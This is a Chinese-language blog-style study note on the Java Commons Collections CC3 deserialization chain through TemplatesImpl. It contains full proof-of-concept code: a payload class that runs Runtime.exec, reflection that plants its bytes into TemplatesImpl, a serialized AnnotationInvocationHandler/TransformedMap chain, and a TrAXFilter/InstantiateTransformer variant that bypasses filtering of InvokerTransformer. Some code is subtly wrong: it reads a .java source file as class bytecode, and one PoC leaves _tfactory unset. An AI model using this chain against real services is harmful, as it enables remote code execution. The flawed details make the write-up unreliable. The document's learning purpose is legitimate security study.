写在前面,文章中的大多数内容在网上可以找到,我是为了在记录总结中学习,故此写下这篇文章
根据java类的动态加载原理,我们知道动态类加载可以通过ClassLoader来完成。而其中有个ClassLoader.defineClass可以从字节码加载任意类。
因为在ClassLoader里的defineClass都是私有的,我们需要找到公有的defineClass方法,然后在ClassLoader.defineClass里反向寻找哪里有公有或者default类型的defineClass方法
TemplatesImpl 
可以看到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的TransletClassLoader方法
可以看到这里存在一个内部类 TransletClassLoader,这个类是继承 ClassLoader,并且重写了 defineClass 方法
Class defineClass (byte [] b)  {     return  this .defineClass((String)null , b, 0 , b.length); } 
 
这里的 defineClass 由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用
寻找调用TransletClassLoader的方法。
找到了getTransletInstance()
private  Translet getTransletInstance ()         throws  TransformerConfigurationException {         try  {             if  (_name == null ) return  null ;             if  (_class == null ) defineTransletClasses();                                       AbstractTranslet  translet  =  (AbstractTranslet)                     _class[_transletIndex].getConstructor().newInstance();             translet.postInitialization();             translet.setTemplates(this );             translet.setOverrideDefaultParser(_overrideDefaultParser);             translet.setAllowedProtocols(_accessExternalStylesheet);             if  (_auxClasses != null ) {                 translet.setAuxiliaryClasses(_auxClasses);             } 
 
可以看到这里的逻辑
我们需要_name不为null ,_class是null才行可以来调用TransletClasses
因为是私有属性所以我们还得继续找
直接往上面找
public  synchronized  Transformer newTransformer ()     throws  TransformerConfigurationException {     TransformerImpl transformer;     transformer = new  TransformerImpl (getTransletInstance(), _outputProperties,         _indentNumber, _tfactory); 
 
这个 TemplatesImpl的链子 这就非常方便了
所以整条链子就是
/* TemplatesImpl#getOutputProperties()     TemplatesImpl#newTransformer()         TemplatesImpl#getTransletInstance()             TemplatesImpl#defineTransletClasses()                 TransletClassLoader#defineClass() */ 
 
那么我们就直接来构造
getTransletInstance private  Translet getTransletInstance ()         throws  TransformerConfigurationException {         try  {             if  (_name == null ) return  null ;         if  (_class == null ) defineTransletClasses();                           AbstractTranslet  translet  =  (AbstractTranslet)                 _class[_transletIndex].getConstructor().newInstance();         translet.postInitialization();         translet.setTemplates(this );         translet.setOverrideDefaultParser(_overrideDefaultParser);         translet.setAllowedProtocols(_accessExternalStylesheet);         if  (_auxClasses != null ) {             translet.setAuxiliaryClasses(_auxClasses);         } 
 
这里我们需要给_name进行赋值 _class赋值为空
defineTransletClasses private  void  defineTransletClasses ()     throws  TransformerConfigurationException {     if  (_bytecodes == null ) {         ErrorMsg  err  =  new  ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR);         throw  new  TransformerConfigurationException (err.toString());     }     TransletClassLoader  loader  =  (TransletClassLoader)         AccessController.doPrivileged(new  PrivilegedAction () {             public  Object run ()  {                 return  new  TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());             }         });     try  {         final  int  classCount  =  _bytecodes.length;         _class = new  Class [classCount];         if  (classCount > 1 ) {             _auxClasses = new  HashMap <>();         }         for  (int  i  =  0 ; i < classCount; i++) {             _class[i] = loader.defineClass(_bytecodes[i]);             final  Class  superClass  =  _class[i].getSuperclass();                          if  (superClass.getName().equals(ABSTRACT_TRANSLET)) {                 _transletIndex = i;             }             else  {                 _auxClasses.put(_class[i].getName(), _class[i]);             }         } 
 
_bytecodes需要赋值不然会报错
_bytecodes[i]则是我们需要注入的内容
那么我们对这三个内容进行赋值
对_name进行赋值
**Class** c = templates.getClass(); **Field** nameField = c.getDeclaredField("_name" ); nameField.setAccessible(**true **); nameField.set(templates,"guofen" ); 
 
这里修改_bytecodes需要注意
Class **defineClass**(**final ** **byte **[] b) {     **return ** defineClass(**null **, b, 0 , b.length); } 
 
defineClass 方法只能吃一维数组,但 _bytecodes 属性设计成二维数组,可能是为了支持同时加载多个类
于此同时我们这里需要写一个恶意的类
import  java.io.IOException;public  class  test  {    static  {         try  {             Runtime.getRuntime().exec("mate-calc" );         } catch  (IOException e){             e.printStackTrace();         }     } } 
 
那么这里的_bytecodes就可以这样进行赋值
byte [] code = Files.readAllBytes(Paths.get("D:\\CTF\\Audacity\\java project\\cc1\\src\\main\\java\\test.java" ));byte [][] codes ={code};Field  bytecodesFiled  = c.getDeclaredField("_bytecodes" );bytecodesFiled.setAccessible(true ); bytecodesFiled.set(templates,codes); 
 
最后_tfactory变量的赋值难点核心在于其被transient修饰符限制的特性,以及反序列化机制对这类字段的特殊处理逻辑
transient关键字会阻止字段被默认的序列化机制持久化。例如,当对象被写入ObjectOutputStream时,_tfactory的值不会被保存到字节流中
类比 :就像快递包裹里有一张便签写着“此物品禁止运输”,快递员(序列化机制)会直接忽略它 
 
反序列化时的默认值  在反序列化过程中,未通过自定义逻辑处理的transient字段会被初始化为默认值(如对象类型为null,基本类型为0/false等)
示例 :若_tfactory未被手动赋值,反序列化后其值为null,后续调用可能导致NullPointerException 
 
由于transient字段无法通过默认反序列化机制恢复,唯一赋值途径是重写readObject方法 ,并在其中手动初始化该字段
import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import  javax.xml.transform.TransformerConfigurationException;import  java.io.FileOutputStream;import  java.io.IOException;import  java.io.ObjectOutputStream;import  java.lang.reflect.Field;import  java.nio.file.Files;import  java.nio.file.Paths;public  class  cc3  {    public  static  void  main (String[] args)  throws  IOException, NoSuchFieldException, TransformerConfigurationException, IllegalAccessException {         TemplatesImpl  templates  =  new  TemplatesImpl ();         Class  c  =  templates.getClass();         Field  nameField  =  c.getDeclaredField("_name" );         nameField.setAccessible(true );         nameField.set(templates,"guofen" );         byte [] code = Files.readAllBytes(Paths.get("D:\\CTF\\Audacity\\java project\\cc1\\src\\main\\java\\test.java" ));         byte [][] codes ={code};         Field  bytecodesFiled  = c.getDeclaredField("_bytecodes" );         bytecodesFiled.setAccessible(true );         bytecodesFiled.set(templates,codes);         Field  tfactoryField  =  c.getDeclaredField("_tfactory" );         tfactoryField.setAccessible(true );         tfactoryField.set(templates, new  TransformerFactoryImpl ());         templates.newTransformer();     } } 
 
这里看看报错
定位问题所在处
try  {    final  int  classCount  =  _bytecodes.length;     _class = new  Class [classCount];     if  (classCount > 1 ) {         _auxClasses = new  HashMap <>();     }     for  (int  i  =  0 ; i < classCount; i++) {         _class[i] = loader.defineClass(_bytecodes[i]);         final  Class  superClass  =  _class[i].getSuperclass();                  if  (superClass.getName().equals(ABSTRACT_TRANSLET)) {             _transletIndex = i;         }         else  {             _auxClasses.put(_class[i].getName(), _class[i]);         }     } 
 
代码流程  在 defineTransletClasses 方法中,TemplatesImpl 会遍历 _bytecodes 数组(存储恶意类字节码)并加载每个类。对于每个加载的类,检查其父类是否为常量 ABSTRACT_TRANSLET(即 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet):
如果父类匹配 :将当前类索引 i 赋值给 _transletIndex,标记为“主类”。 
如果不匹配 :将类存入 _auxClasses(辅助类集合)。 
 
 
空指针错误的原因  当所有类的父类都不匹配 ABSTRACT_TRANSLET 时,_transletIndex 保持初始值 -1。此时代码进入 if (_transletIndex < 0) 分支,抛出 TransformerConfigurationException,导致执行终止 
_auxClasses 的陷阱 即使尝试通过 _auxClasses 绕过父类检查,以下问题也会导致失败:
_auxClasses 在初始化时是空 HashMap(仅当 classCount > 1 时才创建)。 
即使强行赋值,后续流程仍依赖 _transletIndex 的有效性,无法跳过父类校验 
 
 
 
唯一可行的路径是 **让至少一个类的父类等于 ABSTRACT_TRANSLET**,从而:
**赋值 _transletIndex**:将恶意类标记为主类。 
绕过异常分支 :避免因 _transletIndex 为负值触发错误 
 
举一个生动的例子就是
这就像 考驾照必须通过驾校报名 ,TemplatesImpl 规定:所有加载的类必须“挂靠”在 AbstractTranslet 这个驾校名下,否则直接取消考试资格!
校验逻辑 TemplatesImpl 在加载类时,会检查每个类的父类是否是 AbstractTranslet。如果是,就标记为合法(给 _transletIndex 赋值),否则直接丢进“黑名单”(_auxClasses)
 
绕过校验的唯一方法  恶意类必须声明继承 AbstractTranslet,例如:
public  class  EvilClass  extends  AbstractTranslet  {    static  { Runtime.getRuntime().exec("calc" ); }           public  void  transform (DOM document, SerializationHandler[] handlers)  {}     public  void  transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler)  {} } 
 
这样加载时才能通过父类校验,触发后续代码执行
 
 
所以我们将恶意类进行一个继承
import  java.io.IOException;import  com.sun.org.apache.xalan.internal.xsltc.DOM;import  com.sun.org.apache.xalan.internal.xsltc.TransletException;import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import  com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import  com.sun.org.apache.xml.internal.serializer.SerializationHandler;public  class  test  extends  AbstractTranslet {    static  {         try  {             Runtime.getRuntime().exec("mate-calc" );         } catch  (IOException e){             e.printStackTrace();         }     }     @Override      public  void  transform (DOM document, SerializationHandler[] handlers)  throws  TransletException {     }     @Override      public  void  transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler)  throws  TransletException {     } } 
 
最后还是利用CC1后半部分的链调用templates的newTransformer方法,后部分链用CC6应该可以
import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.ChainedTransformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  org.apache.commons.collections.map.TransformedMap;import  javax.xml.transform.TransformerConfigurationException;import  java.io.*;import  java.lang.annotation.Target;import  java.lang.reflect.Constructor;import  java.lang.reflect.Field;import  java.lang.reflect.InvocationTargetException;import  java.nio.file.Files;import  java.nio.file.Paths;import  java.util.HashMap;import  java.util.Map;public  class  cc3  {    public  static  void  main (String[] args)  throws  ClassNotFoundException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException, TransformerConfigurationException {         TemplatesImpl  templates  =  new  TemplatesImpl ();         Class<? extends  TemplatesImpl > tCalss = templates.getClass();         Field  name  =  tCalss.getDeclaredField("_name" );         name.setAccessible(true );         name.set(templates,"guofen" );         byte [] bytes = Files.readAllBytes(Paths.get("D:\\CTF\\Audacity\\java project\\cc1\\src\\main\\java\\test.java" ));         byte [][] codes = {bytes};         Field  bytecodes  =  tCalss.getDeclaredField("_bytecodes" );         bytecodes.setAccessible(true );         bytecodes.set(templates,codes);         Transformer[] transformers = {                 new  ConstantTransformer (templates),                 new  InvokerTransformer ("newTransformer" ,null ,null )         };         ChainedTransformer  chainedTransformer  =  new  ChainedTransformer (transformers);         HashMap<Object, Object> hashMap = new  HashMap <>();         hashMap.put("value" ,"deadbeef" );         Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer);         Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );         Constructor<?> annotationInvocationHandler = clazz.getDeclaredConstructor(Class.class, Map.class);         annotationInvocationHandler.setAccessible(true );         Object  o  =  annotationInvocationHandler.newInstance(Target.class,transformedMap);         serialize(o);         unserialize();     }     public  static  void  serialize (Object obj)  throws  IOException {         ObjectOutputStream  oos  =  new  ObjectOutputStream (new  FileOutputStream ("ser.bin" ));         oos.writeObject(obj);         oos.close();     }     public  static  void  unserialize ()  throws  IOException, ClassNotFoundException {         ObjectInputStream  ois  =  new  ObjectInputStream (new  FileInputStream ("ser.bin" ));         ois.readObject();         ois.close();     } } 
 
上面的poc最后是用InvokerTransformer类的transform调用的templates的newTransformer方法;
那么如果是InvokerTransformer被过滤了这个时候我们应该该怎么办呢
还有一种方法可以通过InstantiateTransformer类的transform调用TrAXFilter的构造方法类调用templates的newTransformer方法;
TrAXFilter调用了newTransformer方法,而且templates是可控的
public  TrAXFilter (Templates templates)   throws     TransformerConfigurationException {     _templates = templates;     _transformer = (TransformerImpl) templates.newTransformer();     _transformerHandler = new  TransformerHandlerImpl (_transformer);     _useServicesMechanism = _transformer.useServicesMechnism(); } 
 
      TemplatesImpl  templates  =  new  TemplatesImpl ();       Class<? extends  TemplatesImpl > tCalss = templates.getClass();       Field  name  =  tCalss.getDeclaredField("_name" );       name.setAccessible(true );       name.set(templates,"guofen" );       Field  tfactory  =  tCalss.getDeclaredField("_tfactory" );       tfactory.setAccessible(true );       tfactory.set(templates,new  TransformerFactoryImpl ());       byte [] bytes = Files.readAllBytes(Paths.get("D:\\CTF\\Audacity\\java project\\cc1\\src\\main\\java\\test.java" ));       byte [][] codes = {bytes};       Field  bytecodes  =  tCalss.getDeclaredField("_bytecodes" );       bytecodes.setAccessible(true );       bytecodes.set(templates,codes);       Class<?> trAXFilterClass = TrAXFilter.class;       Constructor<?> constructor = trAXFilterClass.getConstructor(Templates.class);       constructor.newInstance(templates); 
 
InstantiateTransformer的transform方法,可以调用任意一个类的有参构造方法,所以就可以尝试调用TrAXFilter的构造方法,并把templates传递过去
public  InstantiateTransformer (Class[] paramTypes, Object[] args)  {    super ();     iParamTypes = paramTypes;     iArgs = args; } public  Object transform (Object input)  {    try  {         if  (input instanceof  Class == false ) {             throw  new  FunctorException (                 "InstantiateTransformer: Input object was not an instanceof Class, it was a "                      + (input == null  ? "null object"  : input.getClass().getName()));         }         Constructor  con  =  ((Class) input).getConstructor(iParamTypes);         return  con.newInstance(iArgs);         ...... 
 
最后将poc中的transformers数组改成下面这样,也是可以的;
Transformer[] transformers = {         new  ConstantTransformer (TrAXFilter.class),         new  InstantiateTransformer (new  Class []{Templates.class}, new  Object []{templates}) }; 
 
最后从网络上找到绕过IvokerTransform的路线的路径图